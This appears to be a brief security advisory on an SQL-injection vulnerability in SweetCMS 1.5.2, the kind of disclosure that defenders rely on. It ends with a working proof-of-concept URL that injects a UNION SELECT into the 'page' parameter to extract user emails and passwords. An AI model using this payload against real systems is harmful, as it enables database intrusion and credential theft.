source: https://www.securityfocus.com/bid/31774/info

SweetCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SweetCMS 1.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=3+AND+1=2+UNION+SELECT+0,concat(email,0x3a,password),2,3,4,5+from+users+limit+1,1--